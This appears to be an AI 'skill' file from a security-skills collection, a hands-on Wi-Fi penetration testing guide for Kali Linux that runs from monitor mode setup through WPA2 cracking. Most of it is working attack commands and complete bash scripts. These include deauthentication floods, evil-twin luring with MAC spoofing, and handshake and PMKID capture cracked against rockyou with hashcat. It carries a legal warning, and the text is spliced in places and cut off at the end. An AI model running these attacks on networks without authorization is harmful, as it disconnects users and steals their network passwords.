Wireless Security & WiFi Penetration Testing

Skill by ara.so — Security Skills collection.

This skill provides expertise in wireless security assessment and Wi-Fi penetration testing using the aircrack-ng suite and related tools on Kali Linux. It covers 802.11 protocol analysis, monitor mode setup, WEP/WPA/WPA2/WPA3 attacks, rogue AP deployment, and enterprise wireless assessment.

Project Overview

The Wireless Security & WiFi Penetration Testing project is a comprehensive, hands-on curriculum covering:

  • 802.11 standards and wireless fundamentals
  • Monitor mode and packet injection setup
  • Wireless reconnaissance and traffic analysis
  • WEP cracking (multiple attack vectors)
  • WPA/WPA2 handshake capture and cracking
  • PMKID attacks (handshake-less)
  • WPA3 and advanced attacks (KRACK, Dragonblood)
  • Rogue access points and evil twin attacks
  • Enterprise WPA (EAP/RADIUS) assessment
  • Wireless hardening and defense

⚠️ Legal Warning: All techniques must only be used on networks you own or have explicit written authorization to test. Unauthorized wireless attacks are illegal.

Hardware Requirements

Wireless Adapters

You need an injection-capable wireless adapter. Built-in laptop Wi-Fi cards typically don't support monitor mode or packet injection.

Recommended chipsets:

  • Atheros AR9271 (TP-Link TL-WN722N v1, Alfa AWUS036NHA)
  • Ralink RT3070/RT5372 (Alfa AWUS036NH, Panda PAU09)

Critical: Only TP-Link TL-WN722N version 1 has the Atheros chipset. V2/V3 use Realtek and don't support injection reliably.

Test Environment

  • 1-2 wireless adapters (one for capture, one optional for rogue AP)
  • Test access point you own (with WEP/WPA/WPA2 configured)
  • Client device(s) for testing
  • Kali Linux (bare-metal or VM with USB passthrough)

Installation & Setup

Core Tools (Pre-installed on Kali)

# Update package lists
sudo apt update

# Install aircrack-ng suite (usually pre-installed)
sudo apt install aircrack-ng

# Install additional wireless tools
sudo apt install wireless-tools iw

# Install cracking tools
sudo apt install hashcat hcxtools hcxdumptool

# Install WPS attack tools
sudo apt install reaver bully

# Install rogue AP tools
sudo apt install hostapd dnsmasq

# Install traffic analysis tools
sudo apt install wireshark tcpdump bettercap

# Install wireless IDS

Verify Adapter Capabilities

# List wireless interfaces
iwconfig

# Check if adapter supports monitor mode
iw list | grep -A 10 "Supported interface modes"

# Expected output should include:
# * monitor

# Check for injection support
iw list | grep -A 10 "Supported commands"

# Should include:
# * set_channel
# * frame

Monitor Mode Setup

Enable Monitor Mode

# Check current wireless interfaces
iwconfig

# Kill interfering processes
sudo airmon-ng check kill

# Enable monitor mode on wlan0
sudo airmon-ng start wlan0

# Verify monitor interface created (usually wlan0mon)
iwconfig

# Alternative method using iw/ip
sudo ip link set wlan0 down
sudo iw dev wlan0 set type monitor
sudo ip link set wlan0 up

Test Packet Injection

# Test injection capability
sudo aireplay-ng --test wlan0mon

# Expected output:
# Trying broadcast probe requests...
# Injection is working!
# Found X APs

# Test injection against specific AP
sudo aireplay-ng --test -a <AP_MAC> wlan0mon

Disable Monitor Mode

# Stop monitor mode
sudo airmon-ng stop wlan0mon

# Restart NetworkManager
sudo systemctl start NetworkManager

Wireless Reconnaissance

Basic Network Scanning

# Scan for all networks on all channels
sudo airodump-ng wlan0mon

# Scan specific channel (e.g., channel 6)
sudo airodump-ng -c 6 wlan0mon

# Scan specific band (2.4GHz or 5GHz)
sudo airodump-ng --band abg wlan0mon  # All bands
sudo airodump-ng --band a wlan0mon    # 5GHz only
sudo airodump-ng --band bg wlan0mon   # 2.4GHz only

# Output explanation:
# BSSID: AP MAC address
# PWR: Signal strength
# Beacons: Beacon frames seen
# #Data: Data packets captured
# CH: Channel
# ENC: Encryption (WEP/WPA/WPA2/WPA3)
# ESSID: Network name

Targeted Reconnaissance

# Focus on specific BSSID and write to file
sudo airodump-ng -c 6 --bssid AA:BB:CC:DD:EE:FF -w capture wlan0mon

# This creates files:
# capture-01.cap (packet capture)
# capture-01.csv (data in CSV)
# capture-01.kismet.csv (Kismet format)
# capture-01.kismet.netxml (Kismet XML)

# Filter for specific ESSID
sudo airodump-ng --essid "TargetNetwork" wlan0mon

# Show only clients (stations)
sudo airodump-ng --showack wlan0mon

Discover Hidden SSIDs

# Passive: Monitor until client connects
sudo airodump-ng -c 6 --bssid AA:BB:CC:DD:EE:FF wlan0mon

# Active: Deauth clients to force reconnection (reveals SSID)
# Terminal 1: Capture
sudo airodump-ng -c 6 --bssid AA:BB:CC:DD:EE:FF -w hidden wlan0mon

# Terminal 2: Deauth to force SSID broadcast
sudo aireplay-ng --deauth 5 -a AA:BB:CC:DD:EE:FF wlan0mon

# wlan.fc.type_subtype == 0x0c  (Deauth frames)

# Use tshark for CLI analysis
tshark -r capture-01.cap -Y "eapol"

# Extract handshakes
tshark -r capture-01.cap -Y "eapol" -w handshake.cap

# Statistics
tshark -r capture-01.cap -q -z io,stat,1

# Count frame types
tshark -r capture-01.cap -q -z wlan,stat

Wireless Hardening Checks

Scan for Vulnerabilities

# Check for WPS
wash -i wlan0mon

# Check for weak encryption
sudo airodump-ng wlan0mon | grep -E "WEP|WPA "

# Check for hidden networks
sudo airodump-ng wlan0mon --showack

# Detect rogue APs (compare BSSIDs)
sudo airodump-ng -c 6 wlan0mon -w baseline

Test Management Frame Protection (802.11w)

# Deauth attack should fail on 802.11w networks
sudo aireplay-ng --deauth 10 -a AA:BB:CC:DD:EE:FF wlan0mon

# If deauth works, 802.11w is not enabled

Configuration Files

Common aircrack-ng Options

# ~/.aircrackrc (not commonly used, but possible)
# Most config is via command-line arguments

# Environment variables
export AIRCRACK_NG_KEY_PATH=/path/to/wordlists
export AIRCRACK_NG_DEBUG=1

Wordlist Locations

# Default Kali wordlists
/usr/share/wordlists/rockyou.txt
/usr/share/wordlists/rockyou.txt.gz  # Need to gunzip first

# Extract rockyou
sudo gunzip /usr/share/wordlists/rockyou.txt.gz

# SecLists (install separately)
git clone https://github.com/danielmiessler/SecLists.git

Troubleshooting

Adapter Not Entering Monitor Mode

# Kill interfering processes
sudo airmon-ng check kill

# Manually set monitor mode
sudo ip link set wlan0 down
sudo iw dev wlan0 set monitor control
sudo ip link set wlan0 up

# Check interface mode
iwconfig wlan0

# Verify with iw
iw dev wlan0 info

# Check for firmware issues
dmesg | tail -n 50

Injection Test Fails

# Verify adapter supports injection
iw list | grep -A 10 "Supported commands"

# Check for channel/regulatory issues
sudo iw reg set US  # Set to your country
iw reg get

# Verify you're on correct channel
sudo iw dev wlan0mon set channel 6

# Test injection without encryption
sudo aireplay-ng --test wlan0mon

# If fails, check chipset compatibility
lsusb  # Find vendor/product ID

No Handshake Captured

# Ensure you're on the right channel
sudo airodump-ng -c <AP_CHANNEL> --bssid <AP_MAC> -w capture wlan0mon

# Ensure clients are connected (watch STATION column)

# Increase deauth count
sudo aireplay-ng --deauth 20 -a <AP_MAC> wlan0mon

# Try targeting specific client
sudo aireplay-ng --deauth 20 -a <AP_MAC> -c <CLIENT_MAC> wlan0mon

# Verify capture contains EAPOL frames
tshark -r capture-01.cap -Y eapol

# Check with aircrack-ng
aircrack-ng capture-01.cap
# Look for "1 handshake" in output

Aircrack-ng Shows No Networks

# Verify capture contains data
ls -lh capture-01.cap

# Check with tshark
tshark -r capture-01.cap | head

# Ensure capture is on correct channel
# Re-capture with explicit channel:
sudo airodump-ng -c 6 -w new_capture wlan0mon

Cracking Takes Forever

# Use GPU acceleration with hashcat instead
hcxpcapngtool -o hash.hc22000 capture-01.cap
hashcat -m 22000 -a 0 hash.hc22000 -w 3 wordlist.txt

# Check hashcat performance
hashcat -m 22000 -b

# Use rules to expand wordlist
hashcat -m 22000 hash.hc22000 wordlist.txt -r /usr/share/hashcat/rules/best64.rule

# Try mask attack for known patterns
hashcat -m 22000 -a 3 hash.hc22000 ?d?d?d?d?d?d?d?d  # 8 digits

hostapd Fails to Start

# Check interface is not in use
sudo airmon-ng check kill
sudo systemctl stop NetworkManager

# Ensure interface is up
sudo ip link set wlan0 up

# Check for configuration errors
sudo hostapd -dd hostapd.conf

# Verify channel is valid
iw list | grep -A 20 "Frequencies"

# Check for conflicting processes
sudo lsof | grep wlan0

Evil Twin Not Visible to Clients

# Ensure channel matches target AP
# Ensure MAC is spoofed if needed
sudo macchanger -m <TARGET_MAC> wlan0

# Verify AP is broadcasting
sudo airodump-ng wlan0mon

# Check signal strength (clients prefer stronger signal)
# Increase TX power (be mindful of regulations)
sudo iw dev wlan0 set txpower fixed 2000  # 20dBm

# Deauth clients from legitimate AP
sudo aireplay-ng --deauth 0 -a <LEGIT_AP_MAC> wlan0mon

Common Patterns

Complete WPA2 Assessment Workflow

#!/bin/bash
# Full WPA2 PSK assessment

INTERFACE="wlan0mon"
TARGET_BSSID="AA:BB:CC:DD:EE:FF"
TARGET_CHANNEL="6"
OUTPUT_PREFIX="target_capture"
WORDLIST="/usr/share/wordlists/rockyou.txt"

# 1. Enable monitor mode
sudo airmon-ng start wlan0

# 2. Start capture
sudo airodump-ng -c "$TARGET_CHANNEL" --bssid "$TARGET_BSSID" \
  -w "$OUTPUT_PREFIX" "$INTERFACE" &
AIRODUMP_PID=$!

# 3. Wait for clients
sleep 10

# 4. Deauth to capture handshake
sudo aireplay-ng --deauth 10 -a "$TARGET_BSSID" "$INTERFACE"

# 5. Wait for handshake
sleep 5

# 6. Stop capture
kill $AIRODUMP_PID

# 7. Verify handshake
if aircrack-ng "${OUTPUT_PREFIX}-01.cap" | grep -q "1 handshake"; then
  echo "[+] Handshake captured!"
  
  # 8. Convert for hashcat
  hcxpcapngtool -o hash.hc22000 "${OUTPUT_PREFIX}-01.cap"
  
  # 9. Crack with hashcat
  hashcat -m 22000 -a 0 hash.hc22000 "$WORDLIST" -w 3
  
  # 10. Show results
  hashcat -m 22000 hash.hc22000 --show
else
  echo "[-] No handshake captured, try again"
fi

# 11. Cleanup
sudo airmon-ng stop "$INTERFACE"

Automated PMKID Capture and Crack

#!/bin/bash
# PMKID attack (no handshake needed)

INTERFACE="wlan0mon"
OUTPUT="pmkid_capture"
WORDLIST="/usr/share/wordlists/rockyou.txt"

# Enable monitor mode
sudo airmon-ng start wlan0

# Capture PMKIDs (runs for 2 minutes)
timeout 120 sudo hcxdumptool -i "$INTERFACE" -o "${OUTPUT}.pcapng" \
  --enable_status=1

# Convert to hashcat format
hcxpcapngtool -o "${OUTPUT}.hc22000" "${OUTPUT}.pcapng"

# Crack
hashcat -m 22000 -a 0 "${OUTPUT}.hc22000" "$WORDLIST" -w 3

# Show cracked passwords
hashcat -m 22000 "${OUTPUT}.hc22000" --show

# Cleanup
sudo airmon-ng stop "$INTERFACE"

Multi-Channel Hopping Recon

#!/bin/bash
# Scan all channels and save results

INTERFACE="wlan0mon"
OUTPUT="full_recon"
DURATION=10  # seconds per channel

sudo airmon-ng start wlan0

for channel in 1 2 3 4 5 6 7 8 9 10 11; do
  echo "[*] Scanning channel $channel"
  timeout "$DURATION" sudo airodump-ng -c "$channel" \
    -w "${OUTPUT}_ch${channel}" "$INTERFACE"
done

# Merge all captures
mergecap -w "${OUTPUT}_merged.cap" ${OUTPUT}_ch*.cap

echo "[+] Recon complete. Analyze with:"
echo "    wireshark ${OUTPUT}_merged.cap"

sudo airmon-ng stop "$INTERFACE"

Best Practices

  1. Always get written authorization before testing any wireless network
  2. Isolate your test lab - use low TX power and RF shielding
  3. Take snapshots before each attack in case you need to revert
  4. Test injection before starting attacks - save time debugging
  5. Use hashcat for cracking whenever possible - much faster than aircrack-ng
  6. Monitor airodump output - ensure you're capturing target traffic
  7. Document everything - channels, BSSIDs, client MACs, timestamps
  8. Clean up - disable monitor mode and restart NetworkManager when done
  9. Use wordlists strategically - start with common passwords, then expand
  10. **Understand the protocol
